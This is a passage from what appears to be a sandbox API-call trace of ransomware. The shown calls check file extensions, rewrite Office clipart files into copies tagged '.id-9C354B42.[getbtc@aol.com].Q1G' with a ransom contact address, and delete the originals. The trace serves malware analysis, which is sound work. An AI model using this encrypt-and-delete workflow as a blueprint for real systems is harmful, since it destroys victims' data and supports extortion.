(lpString1=".1cd", lpString2=".WMF") returned -1 [0252.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.850] lstrlenW (lpString=".jpg") returned 4 [0252.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.850] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.850] lstrlenW (lpString="HM00116_.WMF") returned 12 [0252.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.851] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=15852) returned 1 [0252.851] CloseHandle (hObject=0x1f8) returned 1 [0252.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0252.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.851] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.851] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0252.852] GetLastError () returned 0x0 [0252.852] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3dec, lpOverlapped=0x0) returned 1 [0252.854] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3df0, lpOverlapped=0x0) returned 1 [0252.855] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.855] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.855] SetEndOfFile (hFile=0x3b8) returned 1 [0252.855] CloseHandle (hObject=0x3b8) returned 1 [0252.855] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.855] SetEndOfFile (hFile=0x1f8) returned 1 [0252.857] CloseHandle (hObject=0x1f8) returned 1 [0252.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0252.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.858] lstrlenW (lpString=".doc") returned 4 [0252.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.858] lstrlenW (lpString=".docx") returned 5 [0252.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.858] lstrlenW (lpString=".pdf") returned 4 [0252.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.858] lstrlenW (lpString=".xls") returned 4 [0252.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.858] lstrlenW (lpString=".xlsx") returned 5 [0252.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.858] lstrlenW (lpString=".ppt") returned 4 [0252.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.858] lstrlenW (lpString=".zip") returned 4 [0252.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.858] lstrlenW (lpString=".rar") returned 4 [0252.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.858] lstrlenW (lpString=".bz2") returned 4 [0252.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.858] lstrlenW (lpString=".7z") returned 3 [0252.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.858] lstrlenW (lpString=".dbf") returned 4 [0252.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.858] lstrlenW (lpString=".1cd") returned 4 [0252.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.858] lstrlenW (lpString=".jpg") returned 4 [0252.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.859] lstrlenW (lpString=".doc") returned 4 [0252.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.859] lstrlenW (lpString=".docx") returned 5 [0252.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.859] lstrlenW (lpString=".pdf") returned 4 [0252.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.859] lstrlenW (lpString=".xls") returned 4 [0252.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.859] lstrlenW (lpString=".xlsx") returned 5 [0252.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.859] lstrlenW (lpString=".ppt") returned 4 [0252.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.859] lstrlenW (lpString=".zip") returned 4 [0252.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.859] lstrlenW (lpString=".rar") returned 4 [0252.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.859] lstrlenW (lpString=".bz2") returned 4 [0252.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.859] lstrlenW (lpString=".7z") returned 3 [0252.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.859] lstrlenW (lpString=".dbf") returned 4 [0252.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.859] lstrlenW (lpString=".1cd") returned 4 [0252.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0252.859] lstrlenW (lpString=".jpg") returned 4 [0252.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.860] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.860] lstrlenW (lpString="HM00172_.WMF") returned 12 [0252.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.860] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2832) returned 1 [0252.860] CloseHandle (hObject=0x1f8) returned 1 [0252.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0252.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.861] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.861] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0252.861] GetLastError () returned 0x0 [0252.861] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xb10, lpOverlapped=0x0) returned 1 [0252.958] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xb20, lpOverlapped=0x0) returned 1 [0252.962] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.962] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.962] SetEndOfFile (hFile=0x3b8) returned 1 [0252.963] CloseHandle (hObject=0x3b8) returned 1 [0252.963] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.963] SetEndOfFile (hFile=0x1f8) returned 1 [0252.969] CloseHandle (hObject=0x1f8) returned 1 [0252.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0253.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.019] lstrlenW (lpString=".doc") returned 4 [0253.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.019] lstrlenW (lpString=".docx") returned 5 [0253.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.019] lstrlenW (lpString=".pdf") returned 4 [0253.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.019] lstrlenW (lpString=".xls") returned 4 [0253.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.019] lstrlenW (lpString=".xlsx") returned 5 [0253.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.019] lstrlenW (lpString=".ppt") returned 4 [0253.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.019] lstrlenW (lpString=".zip") returned 4 [0253.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.019] lstrlenW (lpString=".rar") returned 4 [0253.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.019] lstrlenW (lpString=".bz2") returned 4 [0253.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.019] lstrlenW (lpString=".7z") returned 3 [0253.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.019] lstrlenW (lpString=".dbf") returned 4 [0253.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.019] lstrlenW (lpString=".1cd") returned 4 [0253.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.020] lstrlenW (lpString=".jpg") returned 4 [0253.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.020] lstrlenW (lpString=".doc") returned 4 [0253.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.020] lstrlenW (lpString=".docx") returned 5 [0253.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.020] lstrlenW (lpString=".pdf") returned 4 [0253.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.020] lstrlenW (lpString=".xls") returned 4 [0253.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.020] lstrlenW (lpString=".xlsx") returned 5 [0253.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.020] lstrlenW (lpString=".ppt") returned 4 [0253.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.020] lstrlenW (lpString=".zip") returned 4 [0253.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.020] lstrlenW (lpString=".rar") returned 4 [0253.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.020] lstrlenW (lpString=".bz2") returned 4 [0253.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.020] lstrlenW (lpString=".7z") returned 3 [0253.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.020] lstrlenW (lpString=".dbf") returned 4 [0253.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.020] lstrlenW (lpString=".1cd") returned 4 [0253.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0253.020] lstrlenW (lpString=".jpg") returned 4 [0253.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.020] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.021] lstrlenW (lpString="IN00204_.WMF") returned 12 [0253.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.021] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1848) returned 1 [0253.021] CloseHandle (hObject=0x388) returned 1 [0253.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0253.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.021] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.022] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0253.022] GetLastError () returned 0x0 [0253.022] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x738, lpOverlapped=0x0) returned 1 [0253.075] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x740, lpOverlapped=0x0) returned 1 [0253.076] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.076] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.076] SetEndOfFile (hFile=0x3b0) returned 1 [0253.076] CloseHandle (hObject=0x3b0) returned 1 [0253.077] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.077] SetEndOfFile (hFile=0x388) returned 1 [0253.078] CloseHandle (hObject=0x388) returned 1 [0253.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0253.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.268] lstrlenW (lpString=".doc") returned 4 [0253.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.268] lstrlenW (lpString=".docx") returned 5 [0253.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.269] lstrlenW (lpString=".pdf") returned 4 [0253.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString=".xls") returned 4 [0253.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.269] lstrlenW (lpString=".xlsx") returned 5 [0253.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.269] lstrlenW (lpString=".ppt") returned 4 [0253.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.269] lstrlenW (lpString=".zip") returned 4 [0253.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.269] lstrlenW (lpString=".rar") returned 4 [0253.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString=".bz2") returned 4 [0253.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString=".7z") returned 3 [0253.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.269] lstrlenW (lpString=".dbf") returned 4 [0253.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.269] lstrlenW (lpString=".1cd") returned 4 [0253.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.269] lstrlenW (lpString=".jpg") returned 4 [0253.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.269] lstrlenW (lpString=".doc") returned 4 [0253.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString=".docx") returned 5 [0253.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.269] lstrlenW (lpString=".pdf") returned 4 [0253.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.269] lstrlenW (lpString=".xls") returned 4 [0253.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.270] lstrlenW (lpString=".xlsx") returned 5 [0253.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.270] lstrlenW (lpString=".ppt") returned 4 [0253.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.270] lstrlenW (lpString=".zip") returned 4 [0253.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.270] lstrlenW (lpString=".rar") returned 4 [0253.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.270] lstrlenW (lpString=".bz2") returned 4 [0253.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.270] lstrlenW (lpString=".7z") returned 3 [0253.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.270] lstrlenW (lpString=".dbf") returned 4 [0253.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.270] lstrlenW (lpString=".1cd") returned 4 [0253.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0253.270] lstrlenW (lpString=".jpg") returned 4 [0253.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.270] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.270] lstrlenW (lpString="IN00915_.WMF") returned 12 [0253.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 